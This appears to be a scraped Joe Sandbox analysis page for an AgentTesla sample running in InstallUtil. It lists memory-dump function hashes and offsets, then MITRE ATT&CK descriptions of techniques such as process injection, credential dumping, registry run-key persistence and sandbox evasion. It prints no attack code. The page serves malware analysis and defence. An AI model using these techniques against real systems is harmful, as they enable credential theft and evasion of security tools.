Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01770fe5a1a0471c1c4908574ef377e45d05572e1ec3c2750c8c4e7ab0d8967d
Instruction ID: ad91f82279ed98543fef17c9aea60f26ed62336ba46ec49a47a6ada20f730fee
Opcode Fuzzy Hash: 01770fe5a1a0471c1c4908574ef377e45d05572e1ec3c2750c8c4e7ab0d8967d
Instruction Fuzzy Hash: 13217F34A04608CFEB58DB6AD9D4F7AB3F3BB88311F18C8B5D00597264DBB59946CB01

Function 05C948F1 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2643567088.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5c90000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 553327d11a62f2a9a10a77681462310e8ee9aa30c12e648bdea3fe7b02b71fca
Instruction ID: 8f3884af8ba3814a70b1f6b3aade40d45905c88331a216110af756d32332f10c
Opcode Fuzzy Hash: 553327d11a62f2a9a10a77681462310e8ee9aa30c12e648bdea3fe7b02b71fca
Instruction Fuzzy Hash: C9116D3190521ADBDF2CCA8AD0C8BA6B3ABB740311F178E66C4495B104F376AA8787C1

Function 025ADA2C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a1d96eb0a9e5974abfe19e4f7932a1368227601ac3cce5c51a47a1672b99fba
Instruction ID: e78f26b7c05e79997b8933f0c8ec789913951c3c6ff52105a9bc5207c37f9bbe
Opcode Fuzzy Hash: 2a1d96eb0a9e5974abfe19e4f7932a1368227601ac3cce5c51a47a1672b99fba
Instruction Fuzzy Hash: 6F21F2B5D01219AFDB10CF9AD884BDEFBF4FB48314F10812AE918A7640C375A950CBE5

Function 025AFB33 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78bc64528a2bf344bdecb2b2e5a4314894270aba66fa20e4d0c36e823d9c8813
Instruction ID: c26fa0ad0f448049ba25564e4b8c9208e09565d21b4660cb9b06efac7f4dcbb1
Opcode Fuzzy Hash: 78bc64528a2bf344bdecb2b2e5a4314894270aba66fa20e4d0c36e823d9c8813
Instruction Fuzzy Hash: BA01A2367014141BDB289A7DD46671FBBEAEBC9710F14883AE10AC7790DF66DC024399

Function 05C948F8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2643567088.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5c90000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea8c8b60e2bff5d817570c4bc36bd81a9a8342580d683bad3972a7645b61f53
Instruction ID: cfdeb757a60d30d94c760e1589867c382c1a35c585b172e4c1c30ea05e909db0
Opcode Fuzzy Hash: eea8c8b60e2bff5d817570c4bc36bd81a9a8342580d683bad3972a7645b61f53
Instruction Fuzzy Hash: BB114F3190521ADBDF2CCA4AD0C8BA6B3ABB740311F178E75C4495B144F376A98787C1

Function 025AF2F3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368beba2db13820610210e123172013da787f2576b8edcccc9257f836498606b
Instruction ID: f0453905e1b7f16bac5247741ff5e0e7310faa35557c4caedbb2fa75358134dd
Opcode Fuzzy Hash: 368beba2db13820610210e123172013da787f2576b8edcccc9257f836498606b
Instruction Fuzzy Hash: 0D21C2B5D01259AFCB10DF9AD885BDEFBB4FB48314F10812AE918A7640C375A944CFA5

Function 025AFB40 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afabf45e30fc53f97aa3889f17aab69902634763884d606c8ae8a73f10c8aa45
Instruction ID: ad5a0fcb83ba7527c09ad53ee30582212e2b534bc593cade07890e6d44b671aa
Opcode Fuzzy Hash: afabf45e30fc53f97aa3889f17aab69902634763884d606c8ae8a73f10c8aa45
Instruction Fuzzy Hash: 1F0181357014140BDB249A6DD46572FBBEAEBC9710F14883AE10AC7750DF66DC024399

Function 05CE163E Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f73396f318d43117acf72e7dbd419e951db3b00ec839cae29d6fdcf92761e700
Instruction ID: 35469231be64ab85d4ac7dba619c3069f19f7b19b3ede00cf5ed1c80157bd41f
Opcode Fuzzy Hash: f73396f318d43117acf72e7dbd419e951db3b00ec839cae29d6fdcf92761e700
Instruction Fuzzy Hash: 96017C387022488FC719EB68D1A1B2EB3E7BF88300F0080BD980A97395CE309E429F51

Function 05CE2F63 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f247edaa4c35e8f3eebceb75f4b590f19e4e12cfcb25df83b22e644f3337419
Instruction ID: 1c3812fc91541adbe750e0bb7ac16a842e29e5c4be07ae176191cb5a21f3eadf
Opcode Fuzzy Hash: 9f247edaa4c35e8f3eebceb75f4b590f19e4e12cfcb25df83b22e644f3337419
Instruction Fuzzy Hash: 69F0273D6191158FD358CAB4E5967AAB7A7F704300F084E75C009C7686CA3889C2C781

Function 05CEB005 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bae3bfbe4e04b4165e6d6fd3c4835fae3bffcec626392e15f0b8c42f5698f695
Instruction ID: b919862f547839838f000f1fb78be8ab6c89c782472541da1c2a8a065ea9655e
Opcode Fuzzy Hash: bae3bfbe4e04b4165e6d6fd3c4835fae3bffcec626392e15f0b8c42f5698f695
Instruction Fuzzy Hash: B7F030B2A001049FDB04CF68EC85EAAB7F9FBC8615F0681A5F444DB126D6319E15CB64

Function 05CE2F70 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db398f239c44224ed7a5dc9ff510c66ced85c6fc3e189b4510a151320b0a44a3
Instruction ID: 96dcc0925faa509b5633da19fae6c35d8d93c10c3e971d379b4c9765cd6b0318
Opcode Fuzzy Hash: db398f239c44224ed7a5dc9ff510c66ced85c6fc3e189b4510a151320b0a44a3
Instruction Fuzzy Hash: 90F06D3C22522ACBC35CDA68E409BAAF7DBF748310F084E75D40AC7685DA759891DBC1

Function 05C94068 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2643567088.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5c90000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a469bef0805fece702d8a10b7f9f1acb07c9249e8bf8f2fd22d9ae2083c1d7a8
Instruction ID: cf4b06285ca68cbdb236d988fc833a2f3978f84edb86505ad0a15802eea8b87c
Opcode Fuzzy Hash: a469bef0805fece702d8a10b7f9f1acb07c9249e8bf8f2fd22d9ae2083c1d7a8
Instruction Fuzzy Hash: 21F0C27C615245CFDF58DFA9E588BAE77B3BB84700F2588B4E0069B265DB34DA42CB01

Function 025A0860 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8a0c60a9a75bac2832fb745575013daa437f9bda645ce721e4817321db9ac09
Instruction ID: 63e8f7139a15158fc3d896178b5d057114ac45323acdfacc3b54867573c09738
Opcode Fuzzy Hash: c8a0c60a9a75bac2832fb745575013daa437f9bda645ce721e4817321db9ac09
Instruction Fuzzy Hash: C0D05E6210E7C1DFD703C778EDA9280BF70EF0620475940CBE2888B873E2282456CB96

Function 05CE2FD8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2afbbdcc2f5edef61c2883f9824e6b73084c417edf4731d39f31403a3ce2d82a
Instruction ID: ac3516b4adba22320e12b63140ba4c61b20f46c3de18cdf0a28c8af4b0de08d4
Opcode Fuzzy Hash: 2afbbdcc2f5edef61c2883f9824e6b73084c417edf4731d39f31403a3ce2d82a
Instruction Fuzzy Hash: 82E0C23C218126CBC74CD6A8E0157BAB79BF748310F044E35D00FC6A85CE358981DB81

Function 025A3638 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e95950f61baccb84021c96321f201ef9665fc26646003a2d1737447a8c10a97
Instruction ID: eb435be3583a8e17f9140c73e53a5f3582d1f62c4f6f6b58f370f0d8855e126d
Opcode Fuzzy Hash: 6e95950f61baccb84021c96321f201ef9665fc26646003a2d1737447a8c10a97
Instruction Fuzzy Hash: E2D0A772E0032C53EB148A6ACC049DBFAFEEBC4740F01013EE811B3380CAB11C0042D1

Function 025ACAFD Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6e50c0ffd6ef3aac83a56737cf3f22c8f520167c64f3953fa0ec6142a4e98a9
Instruction ID: 84e4d7c1ea49ca1d51c1f5716a5ea70287cdf6e187e6e20a520470f4f1f08878
Opcode Fuzzy Hash: a6e50c0ffd6ef3aac83a56737cf3f22c8f520167c64f3953fa0ec6142a4e98a9
Instruction Fuzzy Hash: 93D0C973B08524CF8604AB6CE4A446D77E6AFCD62131641AFD249CB770DB61EC419B85

Function 025A1908 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 503f6e1f2de8def43d3b0d3635fe0f4088a70b61742720b0dd5303055c68fc5d
Instruction ID: a904ef9ab9fb7a5a6417154f408ffdbb78e2267cbe9a43e397a78c02bf8f4dab
Opcode Fuzzy Hash: 503f6e1f2de8def43d3b0d3635fe0f4088a70b61742720b0dd5303055c68fc5d
Instruction Fuzzy Hash: 81D0A72470A6848FCF42D778A4597843FF2BFD6308B858448D095CF293E964AC028709

Function 05CE9C95 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2644215335.0000000005CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5ce0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4518c81721c4d859ae764a1279354bc7559250a375ffcfd3b4b05a204ba4650
Instruction ID: 6d9d96d7d15117104b73b3c8ae48fdccb5c0b219c75c162e4942030cd12ea0e8
Opcode Fuzzy Hash: e4518c81721c4d859ae764a1279354bc7559250a375ffcfd3b4b05a204ba4650
Instruction Fuzzy Hash: F8E0E274612209CBEB14DA80E595BEDBAB3BB48318F1455B1D40266658C7345981CE42

Function 025A0AF5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14eaf7bab1c1c43f9ce8bf4af678277e8a1fafa805f32cfb7d4297f5d65f63f1
Instruction ID: 11c8e93f2a9f6e68e93424500dfedcc27a39943ef436d0b131c7f65d9b888e75
Opcode Fuzzy Hash: 14eaf7bab1c1c43f9ce8bf4af678277e8a1fafa805f32cfb7d4297f5d65f63f1
Instruction Fuzzy Hash: 8AD05232902622CBDB04DF2BD965B9CB7F4BB44365B8A8825D906A7020C730E9068A89

Function 025A256E Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64b73b8294a78df28d652f7d2f038702698607f8e4abbefe5d34c54f33685c56
Instruction ID: c5f8061e868bdd0c1360425de698e7e4d76d6ffae8b28ff375ff696140a4013f
Opcode Fuzzy Hash: 64b73b8294a78df28d652f7d2f038702698607f8e4abbefe5d34c54f33685c56
Instruction Fuzzy Hash: 8AD0C7756152048FC754DBFDD55576D3BE27F55300F05447B900797261DA354D09CF11

Function 025A18A0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 581884bb9446549ea95d50c76117cdcbb36ad43d3172853df223005824b59a70
Instruction ID: df0a956121cb5384a0e6077daea1aea2240e514b4d0ecc7ff35158a39ded3129
Opcode Fuzzy Hash: 581884bb9446549ea95d50c76117cdcbb36ad43d3172853df223005824b59a70
Instruction Fuzzy Hash: C2C08C7184A2C0CFC30383B0AD9A0C43FB3A96211A30A04D3E0499A433D2244807C721

Function 05C90DEB Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2643567088.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_5c90000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f7e5b20fe2d9b3947f1fcb8df40bcd7e7f5239db19e83104b00bf6fb8e12eb
Instruction ID: 3082261f7c1bf39a82f48af61cd317db02e54690489e03da083142c783919f8e
Opcode Fuzzy Hash: 85f7e5b20fe2d9b3947f1fcb8df40bcd7e7f5239db19e83104b00bf6fb8e12eb
Instruction Fuzzy Hash: FEC012316241185BDB145B55E45976D3566FB44700F204056E403A7784CA610D005BC1

Function 025A55CC Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4173df8a87917d9466cfb0220ee6c2a246c5a7d445b4e0c37c0dacb7e7d483c
Instruction ID: cb975a7cae3e8eaeb20662135b561c1cfc8e6a24117560962e02e0a747c44cac
Opcode Fuzzy Hash: b4173df8a87917d9466cfb0220ee6c2a246c5a7d445b4e0c37c0dacb7e7d483c
Instruction Fuzzy Hash: CCC01278A01008ABEF046FA8E9208BCBA73EB88308B008028E40263290CA329C019B00

Function 025A1918 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99f4c04d072a1ee6e246383df58671c62a34374754bd1a8f91ded177c7f6cda
Instruction ID: 8d6bf38b31dd576d4c22e4595ce9022de3377c9427af384a23f9c61bf1f3fa61
Opcode Fuzzy Hash: c99f4c04d072a1ee6e246383df58671c62a34374754bd1a8f91ded177c7f6cda
Instruction Fuzzy Hash: 83C08C10E425808EDF03D3F879287DA2E819BC2308F88C04CC0E1AB192DA7504868308

Function 025A0890 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0e1412b712221535cd309cd6504c6ed6b3aa535a13794cf10f47e4947a31574
Instruction ID: dd062c79f95e238ac74da0b4f0a6b0532760003b010f6e40a580d2da715e9ef8
Opcode Fuzzy Hash: d0e1412b712221535cd309cd6504c6ed6b3aa535a13794cf10f47e4947a31574
Instruction Fuzzy Hash: 84900231444B0CCF49406BF57949595BF5C99845157844051B50D49511AE55A41145D5

Function 025A18B0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2629466241.00000000025A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 025A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_25a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523d7d25f27185d7310e9feebf83d679ccc4984cf40eea6804ac86978bd57276
Instruction ID: 9cb2371497258c054eba4642ed606e6c2cc5244fa8c73ebc7a79f3fb6cd605e9
Opcode Fuzzy Hash: 523d7d25f27185d7310e9feebf83d679ccc4984cf40eea6804ac86978bd57276
Instruction Fuzzy Hash: 5A900231445A0CCF458067E5790D5D5775F95845367805051A50D415119A5564514595

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 58955, ZN25888A #U2013 drawing.pif.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

